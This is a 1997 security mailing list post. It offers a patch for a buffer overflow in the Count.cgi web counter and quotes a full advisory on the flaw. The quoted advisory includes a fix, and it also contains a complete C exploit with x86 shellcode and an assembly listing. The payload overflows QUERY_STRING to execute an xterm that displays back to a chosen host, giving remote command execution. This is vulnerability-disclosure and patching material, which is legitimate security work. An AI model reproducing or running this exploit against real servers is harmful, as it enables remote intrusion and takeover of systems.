[417] in Best-of-Security

home help back first fref pref prev next nref lref last post

BoS: wwwcount remote exploit

daemon@ATHENA.MIT.EDU (Randall J. Wormser)
Thu Oct 23 04:18:49 1997

Old-X-Envelope-From: nrjw@chevron.com  Wed Oct 22 14:37:27 1997
Date: Tue, 21 Oct 1997 23:36:34 -0500 (CDT)
From: "Randall J. Wormser" <nrjw@chevron.com>
In-Reply-To: <199710161823.UAA00363@plaguez.plaguez.COM>
Old-X-Originally-To: To: best-of-security@cyber.com.au
Old-X-Originated-From: From: "Randall J. Wormser" <nrjw@chevron.com>
Errors-To: best-of-security-request@cyber.com.au
To: best-of-security@cyber.com.au
Resent-From: best-of-security@cyber.com.au


On Thu, 16 Oct 1997, Nicolas Dubee wrote:

> 
> Ok.
> Well, this wasn't supposed to be released so early but, anyway,
> as we're on the subject (wwwcount)...

If your system uses putenv(3C) rather than setenv, something like the
following patch may work better than the one posted below:

------------- patch start ---------------
*** main.c     	Thu May  2 22:15:48 1996
--- main.c	Tue Oct 21 23:33:12 1997
***************
*** 56,61 ****
--- 56,78 ----
  };
  
  
+ void wrapit(char *envvar,int esize)
+ {
+    char *tmp,*tmp2;
+    int envlen;
+    envlen = strlen(envvar);
+    tmp=malloc(esize+envlen+2);
+    if(tmp==NULL)
+      {
+       Debug2("Can't allocate wrapper memory buffer.",0,0);
+       exit(1);
+      }
+    strcpy(tmp, envvar);
+    strcat(tmp, "=");
+    strncat(tmp,(tmp2=getenv(envvar))?tmp2:"",esize);
+    tmp[envlen+esize+1]='\0';
+    putenv(tmp);
+ }
  void main (argc, argv)
  int
      argc;
***************
*** 183,188 ****
--- 200,211 ----
      display_what=SHOW_COUNTER;
      remote_ip=(char *) NULL;
  
+    /*
+     * avoid any buffer overflow problem by cutting some env variables
+     */
+    wrapit("QUERY_STRING",600);
+    wrapit("HTTP_REFERER",600);
+    wrapit("HTTP_USER_AGENT",600);
      /*
      ** parse command line, this is only used for testing at commandline
      ** no command line flag is allowed in the web page while calling
-------------- patch end ----------------

> 
> 
> >
> >From: Razvan Dragomirescu <drazvan@kappa.ro>
> >Subject:      Security flaw in Count.cgi (wwwcount)
> >To: BUGTRAQ@NETSPACE.ORG
> >
> >-----BEGIN PGP SIGNED MESSAGE-----
> >Hash: SHA1
> >
> >Hi all,
> >
> >I have found a vulnerability in Muhammad A. Muquit's wwwcount version 2.3
> [...]
> >And one more thing. A search on AltaVista for "Count.cgi" returned about
> >200.000 matches. I do not know how many of them were versions 2.3.... but
> >even 50.000 vulnerable computers do not make me feel comfortable.
> >
> >Be good.
> >Razvan
> >
> >P.S. You can find information about wwwcount at
> >http://www.fccc.edu/users/muquit/Count.html
> >
> >
> >- --
> >Razvan Dragomirescu
> >
> 
> 
> 
> 
>                    plaguez security advisory n.11
> 
>                  Count.cgi (wwwcount) remote exploit
> 
> 
> 
> 
> Program:   Count.cgi (wwwcount), a popular CGI web counter
> 
> Version:   Tested on 2.3, others probably affected as well (?)
> 
> OS:        All
> 
> Impact:    a buffer can be overflowed in the Count.cgi program,
>            allowing remote http users to execute arbitrary commands
>            on the target machine.
> 
> 
> 
> Hi,
> 
> there are at least two buffer overflow vulnerabilities in wwwcount, a
> widely used CGI web counter.
> The most harmful occurs when the QUERY_STRING environment variable
> (which reflects the url asked by the www client) is copied to a
> fixed-size dynamic buffer. Another one occures only when the counter
> is compiled with a special authentication option, and may not
> be exploitable.
> 
> Fix:
> ----
> As they are exploitable remotely, these holes are extremely serious
> and should be addressed as soon as possible. A temporary fix, if the
> sources are not available, is to remove the exec permissions
> (chmod -x) of the Count.cgi executable (located in your httpd's cgi-bin/
> directory).
> The actual fix is pretty simple. Apply the following patch to the
> file main.c. Environment variables will be cutted down to their first
> 600 chars. The idea of this patch can also be adapted for other
> purposes, mainly to develop a generic cgi-bin wraper.
> 
> 
> 
> 58a59,72
> 
> > void wrapit(char *envvar,int esize)
> > {
> >    char *tmp,*tmp2;
> >    tmp=malloc(esize+1);
> >    if(tmp==NULL)
> >      {
> >       Debug2("Can't allocate wrapper memory buffer.",0,0);
> >       exit(1);
> >      }
> >    strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
> >    tmp[esize]='\0';
> >    setenv(envvar,tmp,1);
> > }
> >
> 89c103
> <     char
> ---
> >    char
> 185a200,207
> >    /*
> >     * avoid any buffer overflow problem by cutting some env variables
> >     */
> >
> >    wrapit("QUERY_STRING",600);
> >    wrapit("HTTP_REFERER",600);
> >    wrapit("HTTP_USER_AGENT",600);
> >
> 
> 
> 
> Exploit:
> --------
> here is a _sample_ exploit, designed to be used on localhost. Needs lots of
> work to be really usefull, remote stack prediction is still a big problem.
> 
> 
> 
> ------------cutcut-------8<-----------------------------------------------
> 
> /*
> 
> Count.cgi (wwwcount) linux  test exploit
> (c) 05/1997 by plaguez  -  dube0866@eurobretagne.fr
> Contact me if you manage to improve this crap.
> 
> This program needs drastic changes to be useable.
> If you can't understand how to modify it for your own purpose,
> please do not consider trying it.
> 
> */
> 
> 
> #include <stdio.h>
> #include <stdlib.h>
> 
> char shell[]=
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
> "\x5e\x18\x88\x46\x2c\x88\x46\x30"
> "\x88\x46\x39\x88\x46\x4b\x8d\x56"
> "\x20\x89\x16\x8d\x56\x2d\x89\x56"
> "\x04\x8d\x56\x31\x89\x56\x08\x8d"
> "\x56\x3a\x89\x56\x0c\x8d\x56\x10"
> "\x89\x46\x10\xb0\x0b\xcd\x80\x31"
> "\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff"
> "/usr/X11R6/bin/xterm0-ut0-display0"
> "127.000.000.001:00"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff";
> 
> 
> /*
> 
> Assembly stuff for the previous buffer.
> This basically implements an execve syscall, by creating
> an array of char* (needs to put a null byte at the end of
> all strings).
> Here we gonna exec an xterm and send it to our host.
> (you can't simply exec a shell due to the cgi proto).
> 
>         jmp    60
>         popl   %esi
>         xorl   %eax,%eax           # efface eax
>         movl   %esi,%ecx           # recupere l'adresse du buffer
>         leal   0x18(%esi),%ebx     # recupere l'adresse des chaines
>         movb   %al,0x2c(%esi)      # cree les chaines azt
>         movb   %al,0x30(%esi)      #
>         movb   %al,0x39(%esi)
>         movb   %al,0x4b(%esi)
>         leal   0x20(%esi),%edx     # cree le char**
>         movl   %edx,(%esi)
>         leal   0x2d(%esi),%edx
>         movl   %edx,0x4(%esi)
>         leal   0x31(%esi),%edx
>         movl   %edx,0x8(%esi)
>         leal   0x3a(%esi),%edx
>         movl   %edx,0xc(%esi)
>         leal   0x10(%esi),%edx
>         movl   %eax,0x10(%esi)
>         movb   $0xb,%al
>         int    $0x80                #  passe en mode kernel
>         xorl   %ebx,%ebx            #  termine proprement (exit())
>         movl   %ebx,%eax            #  si jamais le execve() foire.
>         inc    %eax                 #
>         int    $0x80                #
>         call   -65                  #  retourne au popl en empilant l'adresse de la chaine
>         .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
>         .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
>         .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
>         .ascii \"/usr/X11R6/bin/xterm0\"         # 44
>         .ascii \"-ut0\"                          # 48
>         .ascii \"-display0\"                 # 57  au ;
>         .ascii \"127.000.000.001:00\"        # 75 (total des chaines)
>         .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
>         .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
>             ...
>  */
> 
> char qs[7000];
> char chaine[]="user=a";
> 
> unsigned long getesp() {
>    //   asm("movl %esp,%eax");
>    return 0xbfffee38;
> }
> 
> void main(int argc, char **argv) {
>    int compt;
>    long stack;
> 
>    stack=getesp();
> 
>    if(argc>1)
>      stack+=atoi(argv[1]);
> 
>    for(compt=0;compt<4104;compt+=4) {
>       qs[compt+0] = stack &  0x000000ff;
>       qs[compt+1] = (stack & 0x0000ff00) >> 8;
>       qs[compt+2] = (stack & 0x00ff0000) >> 16;
>       qs[compt+3] = (stack & 0xff000000) >> 24;
>    }
> 
> 
>    strcpy(qs,chaine);
>    qs[strlen(chaine)]=0x90;
> 
>    qs[4104]= stack&0x000000ff;
>    qs[4105]=(stack&0x0000ff00)>>8;
>    qs[4106]=(stack&0x00ff0000)>>16;
>    qs[4107]=(stack&0xff000000)>>24;
>    qs[4108]= stack&0x000000ff;
>    qs[4109]=(stack&0x0000ff00)>>8;
>    qs[4110]=(stack&0x00ff0000)>>16;
>    qs[4111]=(stack&0xff000000)>>24;
>    qs[4112]= stack&0x000000ff;
>    qs[4113]=(stack&0x0000ff00)>>8;
>    qs[4114]=(stack&0x00ff0000)>>16;
>    qs[4115]=(stack&0xff000000)>>24;
>    qs[4116]= stack&0x000000ff;
>    qs[4117]=(stack&0x0000ff00)>>8;
>    qs[4118]=(stack&0x00ff0000)>>16;
>    qs[4119]=(stack&0xff000000)>>24;
>    qs[4120]= stack&0x000000ff;
>    qs[4121]=(stack&0x0000ff00)>>8;
>    qs[4122]=(stack&0x00ff0000)>>16;
>    qs[4123]=(stack&0xff000000)>>24;
>    qs[4124]= stack&0x000000ff;
>    qs[4125]=(stack&0x0000ff00)>>8;
>    qs[4126]=(stack&0x00ff0000)>>16;
>    qs[4127]=(stack&0xff000000)>>24;
>    qs[4128]= stack&0x000000ff;
>    qs[4129]=(stack&0x0000ff00)>>8;
>    qs[4130]=(stack&0x00ff0000)>>16;
>    qs[4131]=(stack&0xff000000)>>24;
> 
>    strcpy((char*)&qs[4132],shell);
> 
>    /* Choose what to do here */
>    printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
>    /*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
>    printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
>    setenv("QUERY_STRING",qs,1);
>    system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
>    system("/bin/sh");*/
> 
> }
> -------------------------------------8<-------------------------
> 
> 
> 
> 
> later,
> 
> 
> 
> -plaguez
> dube0866@eurobretagne.fr
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> BTW here is my _NEW_ pgp key. The old one went to another dimension in
> in an hd crash (NEVER ^C the e2defrag shit !).
> Sorry for the ppl who are sending encrypted mails with the old key.
> This time I'll make backups.
> 
> Type Bits/KeyID    Date       User ID
> pub  1024/FF7CBA31 1997/10/08 plaguez <dube0866@eurobretagne.fr>
> 
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 2.6.3i
> 
> mQCNAzQ7utYAAAEEAOJCaB92rTsUutk5TYpIIFDevSGutQzMaUpsoOqTbUHHzdXE
> XoqP1FKYQ1kBQHqwy8KFFW71PLpRh2ruBQp7KN9TAF/aVsvq7vrY3gbgfBKjd5Mb
> 7at2G2wxWXAIY/Pse8MhyVWNomM74F4fGYxZ3SakBUva3tBV57sRa5D/fLoxAAUR
> tCJwbGFndWV6IDxkdWJlMDg2NkBldXJvYnJldGFnbmUuZnI+iQCVAwUQNDu61rsR
> a5D/fLoxAQHRBwQAv7pSTXs1giB1HcLs5gJQhMVodYPO6QsCS235UGJOLQ9K2azT
> 9MH8FDrzFWALf2MqgPSIsV5njedgDjURreF9+Hvoto0zj7ACE62NHB1UdyuiprFy
> KhY8xtBarVSJ6qWWyM+Fld6bY3sagDCsrsyqdUvp5Enl9ASEFlJSUCH05X4=
> =CFE6
> -----END PGP PUBLIC KEY BLOCK-----
> 
> 

Randall J. Wormser
Chevron Information Technology Co.     Phone ....... (504) 592-6279
935 Gravier Street                     FAX ......... (504) 592-7106
New Orleans, LA  70112                 E-Mail .... nrjw@chevron.com




home help back first fref pref prev next nref lref last post